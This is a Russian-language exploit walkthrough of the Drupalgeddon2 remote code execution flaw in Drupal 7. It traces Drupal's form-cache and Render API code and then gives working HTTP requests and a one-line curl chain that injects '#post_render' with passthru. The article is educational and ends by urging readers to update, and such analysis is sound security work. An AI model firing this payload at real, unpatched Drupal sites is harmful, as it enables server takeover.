Разбираем уязвимость Drupalgeddon2 в Drupal 7
CyberLifesНедавно мир узнал о серьезной уязвимости в системе управления контентом Drupal. Однако, разобрав проблему в ветке 8.x, мы оставили за кадром аналогичную брешь в Drupal 7. А ведь на этой версии сейчас работает куда больше сайтов! Эксплуатировать уязвимость в ней сложнее, но не намного. Сейчас я покажу, как это делается.
Подготовка
Для демонстрации уязвимости проще всего использовать официальный репозиторий Drupal на Docker Hub. Разворачиваем контейнер с нужной версией CMS. Сначала поднимаем сервер БД.
$ docker run -d -e MYSQL_USER="drupal" -e MYSQL_PASSWORD="7C4TYVARsy" -e MYSQL_DATABASE="drupal" --rm --name=mysql --hostname=mysql mysql/mysql-server
Теперь дело за контейнером с CMS. В этот раз берем самую старую уязвимую версию — 7.57.
$ docker run -d --rm -p80:80 -p9000:9000 --link=mysql --name=drupalvh --hostname=drupalvh drupal:7.57
Теперь через веб-интерфейс устанавливаем Drupal и проверяем, все ли у нас работает.
Еще неплохо было бы завести отладчик. Для этого я дополнительно установлю расширение Xdebug.
$ pecl install xdebug $ echo "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20151012/xdebug.so" > /usr/local/etc/php/conf.d/php-xdebug.ini $ echo "xdebug.remote_enable=1" >> /usr/local/etc/php/conf.d/php-xdebug.ini $ echo "xdebug.remote_host=192.168.99.1" >> /usr/local/etc/php/conf.d/php-xdebug.ini $ service apache2 reload
Не забудь поменять IP-адрес 192.168.99.1 на свой и обрати внимание на путь до скомпиленной библиотеки xdebug.so
. После перезагрузки конфигов Apache можешь запускать свой любимый дебаггер. В работе я по-прежнему использую PhpStorm и расширение Xdebug helper для Chrome.
Теперь скачиваем исходники CMS, слушаем 9000-й порт — и вперед, к победам.
Первые шаги
Перейдем на страницу создания нового аккаунта. В седьмой версии она значительно аскетичнее, чем в восьмой.
Из-за того, что отсутствует возможность загрузить аватар, стандартный вектор эксплуатации тут не сработает. Значит, нужно найти новый! Суть бага все та же — это внедрение элементов в Renderable Arrays, которые будут обработаны с помощью Render API. Существуют специальные элементы, которые вызывают функцию call_user_func
с кастомными параметрами.
Для начала посмотрим, как обрабатываются роуты в приложении. Если у тебя на сервере включены семантические URL, то URI перенаправляются на файл index.php
как GET-параметр q
.
/index.php
19: require_once DRUPAL_ROOT . '/includes/bootstrap.inc'; 20: drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL); 21: menu_execute_active_handler();
/includes/menu.inc
510: function menu_execute_active_handler($path = NULL, $deliver = TRUE) { ... 521: if ($page_callback_result == MENU_SITE_ONLINE) { 522: if ($router_item = menu_get_item($path)) {
Например, для отображения страницы http://drupal.vh/user/register
будет выполнен запрос http://drupal.vh/index.php?q=user/register
.
/includes/menu.inc
455: function menu_get_item($path = NULL, $router_item = NULL) { 456: $router_items = &drupal_static(__FUNCTION__); 457: if (!isset($path)) { 458: $path = $_GET['q']; 459: } 460: if (isset($router_item)) { 461: $router_items[$path] = $router_item; 462: }
Далее путь разбивается при помощи функции array_slice
и выполняется запрос к базе данных для выборки путей из таблицы с роутами. По умолчанию menu_router
.
473: $parts = array_slice($original_map, 0, MENU_MAX_PARTS); 474: $ancestors = menu_get_ancestors($parts); 475: $router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc();
В таблице хранятся колбэки, которые нужно выполнять при обращении к соответствующим путям.
Если путь и соответствующий ему колбэк найден, то он вызывается через функцию call_user_func_array
.
510: function menu_execute_active_handler($path = NULL, $deliver = TRUE) { ... 518: drupal_alter('menu_site_status', $page_callback_result, $read_only_path); ... 519: 520: // Only continue if the site status is not set 521: if ($page_callback_result == MENU_SITE_ONLINE) { 522: if ($router_item = menu_get_item($path)) { 523: if ($router_item['access']) { ... 527: $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
Как ты, возможно, знаешь из моего разбора уязвимости в Drupal 8, существует метод uploadAjaxCallback
. Он давал возможность выполнять рендеринг вложенного массива с пользовательскими данными. Так вот, в седьмой версии есть похожая функция — file_ajax_upload
. Она тоже отвечает за обработку файлов, загруженных с помощью AJAX-запросов, и в ней есть место, где массив с нужными данными отправляется на рендеринг.
/modules/file/file.module
238: function file_ajax_upload() { 239: $form_parents = func_get_args(); 240: $form_build_id = (string) array_pop($form_parents); 241: 242: if (empty($_POST['form_build_id']) || $form_build_id != $_POST['form_build_id']) { ... 250: list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form(); ... 268: drupal_process_form($form['#form_id'], $form, $form_state); ... 285: $output = drupal_render($form);
Теперь посмотрим, запросы к каким путям используют эту функцию в качестве колбэка.
mysql> select path,page_callback from menu_router where page_callback='file_ajax_upload'; +-----------+------------------+ | path | page_callback | +-----------+------------------+ | file/ajax | file_ajax_upload | +-----------+------------------+ 1 row in set (0.00 sec)
Попробуем сделать его вызов, набрав http://drupal.vh/file/ajax/test/test
.
Валидный запрос имеет вид http://drupal.vh/file/ajax/имя_элемента/ключ/id_формы
, где имя элемента и ключ — это путь до массива, который нужно отрендерить. В запросе также должен указываться параметр form_build_id
, который соответствует id
обрабатываемой формы.
242: if (empty($_POST['form_build_id']) || $form_build_id != $_POST['form_build_id']) {
Сама форма извлекается из кеша с помощью функции ajax_get_form
. AJAX подразумевает фоновое выполнение и отправку запросов с уже загруженной браузером страницы. При обработке с помощью ajax_get_form
Drupal считает, что в кеше уже должна находиться форма, для которой происходит изменение или обновление содержимого. Если это не так, то скрипт просто остановит работу.
250: list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
/includes/ajax.inc
322: function ajax_get_form() { ... 323: $form_state = form_state_defaults(); 324: 325: $form_build_id = $_POST['form_build_id']; ... 328: $form = form_get_cache($form_build_id, $form_state); 329: if (!$form) { ... 335: watchdog('ajax', 'Invalid form POST data.', array(), WATCHDOG_WARNING); 336: drupal_exit(); 337: }
Наша задача — записать в кеш форму с пейлоадом, а потом с помощью запроса к file/ajax
вызвать рендеринг этой формы.
Манипуляции с кешем
Итак, посмотрим на любую форму, доступную без авторизации, — например, сброс пароля пользователя. Она хороша тем, что позволяет записывать произвольные пользовательские данные в параметр #default_value
.
/modules/user/user.pages.inc
30: function user_pass() { 31: global $user; 32: 33: $form['name'] = array( 34: '#type' => 'textfield', 35: '#title' => t('Username or e-mail address'), 36: '#size' => 60, 37: '#maxlength' => max(USERNAME_MAX_LENGTH, EMAIL_MAX_LENGTH), 38: '#required' => TRUE, 39: '#default_value' => isset($_GET['name']) ? $_GET['name'] : '', 40: ); ... 60: return $form;
С помощью этой формы мы можем передать RCE-пейлоад типа такого:
#post_render[]=exec&#children=ls
Но вот беда: при передаче невалидных данных в качестве имени форма не кешируется. Полистав код, обнаруживаем, что метод form_set_cache
записывает информацию об указанной форме в кеш.
/includes/form.inc
557: function form_set_cache($form_build_id, $form, $form_state) { 558: // 6 hours cache life time for forms should be plenty. 559: $expire = 21600; ... 571: if (isset($form)) { ... 576: cache_set('form_' . $form_build_id, $form, 'cache_form', REQUEST_TIME + $expire); 577: }
Вызов этого метода происходит в drupal_rebuild_form
.
464: function drupal_rebuild_form($form_id, &$form_state, $old_form = NULL) { 465: $form = drupal_retrieve_form($form_id, $form_state); ... 502: if (empty($form_state['no_cache'])) { 503: form_set_cache($form['#build_id'], $form, $form_state); 504: }
Эта функция вызывается из drupal_process_form
, которая используется при обработке любой формы.
865: function drupal_process_form($form_id, &$form, &$form_state) {
В ней же имеются и условия, при соблюдении которых форма попадает в кеш.
969: if (($form_state['rebuild'] || !$form_state['executed']) && !form_get_errors()) { 970: // Form building functions (e. g., _form_builder_handle_input_element()) 971: // may use $form_state['rebuild'] to determine if they are running in the 972: // context of a rebuild, so ensure it is set 973: $form_state['rebuild'] = TRUE; 974: $form = drupal_rebuild_form($form_id, $form_state, $form); 975: }
Первая часть условия ($form_state['rebuild'] || !$form_state['executed'])
почти на любой дефолтной форме будет TRUE
, а вот с form_get_errors
есть проблемы. Эта функция проверяет, валидны ли введенные в форму данные.
1676: function form_get_errors() { 1677: $form = form_set_error(); 1678: if (!empty($form)) { 1679: return $form; 1680: } 1681: }
Наши, к сожалению, никаких проверок не выдерживают, и мы ловим ошибку вида Username or e-mail address field is required
.
Посмотрим поближе на функцию form_set_error
.
1623: function form_set_error($name = NULL, $message = '', $limit_validation_errors = NULL) { 1624: $form = &drupal_static(__FUNCTION__, array()); 1625: $sections = &drupal_static(__FUNCTION__ . ':limit_validation_errors'); ... 1630: if (isset($name) && !isset($form[$name])) { 1631: $record = TRUE; 1632: if (isset($sections)) { ... 1640: $record = FALSE; ... 1654: } 1655: if ($record) { 1656: $form[$name] = $message; 1657: if ($message) { 1658: drupal_set_message($message, 'error'); 1659: } 1660: }
Обрати внимание на переменную $record
: если она установлена в FALSE
, то сообщение об ошибке не будет выводиться. Значение FALSE
она принимает, когда $sections
— не null.
1626: if (isset($limit_validation_errors)) { 1627: $sections = $limit_validation_errors; 1628: }
Еще немного побегав по файлу form.inc
, натыкаемся на такой кусок:
1412: if (isset($form_state['triggering_element']['#limit_validation_errors']) && ($form_state['triggering_element']['#limit_validation_errors'] !== FALSE) && !($form_state['submitted'] && !isset($form_state['triggering_element']['#submit']))) { 1413: form_set_error(NULL, '', $form_state['triggering_element']['#limit_validation_errors']); 1414: } ... 1423: elseif (isset($form_state['triggering_element']) && !isset($form_state['triggering_element']['#limit_validation_errors']) && !$form_state['submitted']) { 1424: form_set_error(NULL, '', array()); 1425: } ... 1430: else { 1431: drupal_static_reset('form_set_error:limit_validation_errors'); 1432: }
Во время обработки нашего POST-запроса мы попадаем в последнюю ветку условия, но если удастся попасть во вторую, то сообщения об ошибке не будет. Потому что в качестве третьего аргумента функции form_set_error
($limit_validation_errors
) отправляется пустой массив, который впоследствии станет переменной $sections
.
Разберем нужное нам условие по частям.
isset($form_state['triggering_element'])
возвращаетtrue
. Ключ triggering_element указывает на элемент, который вызвал обработку формы. В нашем случае это кнопка E-mail new password.!isset($form_state['triggering_element']['#limit_validation_errors'])
возвращаетfalse
. Этот ключ указывает, ограничивать вывод ошибок валидации или нет. По дефолту не ограничено, поэтому ключlimit_validation_errors
будет содержатьfalse
.!$form_state['submitted']
также возвращаетfalse
. Так как форма отправлена, ключsubmitted
установлен вtrue
.
Посмотрим, в каком месте изменяется значение ключа submitted
переменной $form_state
.
1987: if (!empty($form_state['triggering_element']['#executes_submit_callback'])) { 1988: $form_state['submitted'] = TRUE; 1989: }
Откуда вообще берется этот triggering_element
? Если он не указан явно, то элементом считается первая нажатая кнопка в форме.
2142: if ($process_input) { ... 2144: if (_form_element_triggered_scripted_submission($element, $form_state)) { 2145: $form_state['triggering_element'] = $element; 2146: } ... 2151: if (isset($element['#button_type'])) { ... 2155: $form_state['buttons'][] = $element; 2156: if (_form_button_was_clicked($element, $form_state)) { 2157: $form_state['triggering_element'] = $element; 2158: } 2159: } 2160: }
Заглянем в функцию _form_element_triggered_scripted_submission
.
2180: function _form_element_triggered_scripted_submission($element, &$form_state) { 2181: if (!empty($form_state['input']['_triggering_element_name']) && $element['#name'] == $form_state['input']['_triggering_element_name']) { 2182: if (empty($form_state['input']['_triggering_element_value']) || $form_state['input']['_triggering_element_value'] == $element['#value']) { 2183: return TRUE; 2184: } 2185: } 2186: return FALSE; 2187: }
Этот код выполняет проверку, равны ли $form_state['input']['_triggering_element_name']
и $element['#name']
. Массив $form_state['input']
содержит все переданные в форме параметры. Таким образом, отправив _triggering_element_name
с именем нужного элемента, можно вручную обозначить его элементом, спровоцировавшим отправку формы. Попробуем это сделать. Укажем в качестве _triggering_element_name
имя текстбокса из нашей формы сброса пароля, а оригинальный сабмит (параметр op
) передавать не будем, иначе он перезапишет кастомный triggering_element
.
Действительно, после такого финта мы имеем в $form_state['triggering_element']
наш текстбокс.
Помимо того что этот элемент не имеет параметра #executes_submit_callback
, в нем также отсутствует #limit_validation_errors
, а это значит, что мы убили сразу двух зайцев и теперь условие на отключение ошибок валидации отрабатывает успешно.
Теперь эта форма попадает в кеш, то есть в таблицу cache_form
базы данных.
Идентификатор формы возвращается в ответе сервера в виде скрытого поля form_build_id
.
Эксплоит
Собираем всю полученную информацию вместе. Эксплуатация производится в два запроса. Сначала отправляем форму с нужным пейлоадом в кеш, а затем вторым запросом к file/ajax дергаем ее оттуда и триггерим уязвимость.
Первый запрос будет выглядеть так:
POST /user/password?name[%23post_render][]=passthru&name[%23children]=ls HTTP/1.1 Host: drupal.vh Content-Type: application/x-www-form-urlencoded _triggering_element_name=name&form_id=user_pass
Обрати внимание, что значение (default_value
) для параметра name
берется из массива $_GET
, поэтому запрос выглядит именно так.
/modules/user/user.pages.inc
30: function user_pass() { ... 39: '#default_value' => isset($_GET['name']) ? $_GET['name'] : '',
Смотрим ID, который вернула система, и подставляем его во второй запрос.
POST /file/ajax/name/%23default_value/form-c2ards5ANmsD9HGEq4986Ruf9gmuDyAr3Fu7d4t75Lg HTTP/1.1 Host: drupal.vh Content-Type: application/x-www-form-urlencoded form_build_id=form-c2ards5ANmsD9HGEq4986Ruf9gmuDyAr3Fu7d4t75Lg
Выкидываем лишнее и объединяем все в одну команду.
$ curl -s --globof "http://drupal.vh/user/password?name[%23post_render][]=passthru&name[%23children]=ls" --data "_triggering_element_name=name&form_id=user_pass"|grep form_build_id|awk -F'"' '{print $6}'|xargs -I^ curl -s "http://drupal.vh/file/ajax/name/%23default_value/^" --data "form_build_id=^"
Вот так в одну строчку можно проэксплуатировать уязвимость в Drupal 7. Возможно, ты найдешь способ сделать это еще элегантнее.
Разумеется, существуют уже готовые инструменты для автоматической эксплуатации этой уязвимости. Если интересно, то рекомендую обратить внимание на репозиторий github.com/dreadlocked/Drupalgeddon2.
Демонстрация уязвимости (видео) - https://vimeo.com/272312688
Выводы
Ну что тут можно сказать? Злоумышленники не дремлют, число атак постоянно растет, и по Сети уже рыщут самые разные сканеры в надежде превратить любой попавшийся под руку уязвимый сервер в майнер криптовалюты, сделать его частью ботнета или отправной точкой для сотни других возможных темных делишек. Так что бегом обновляться, если у тебя где-то установлен Drupal не последней версии.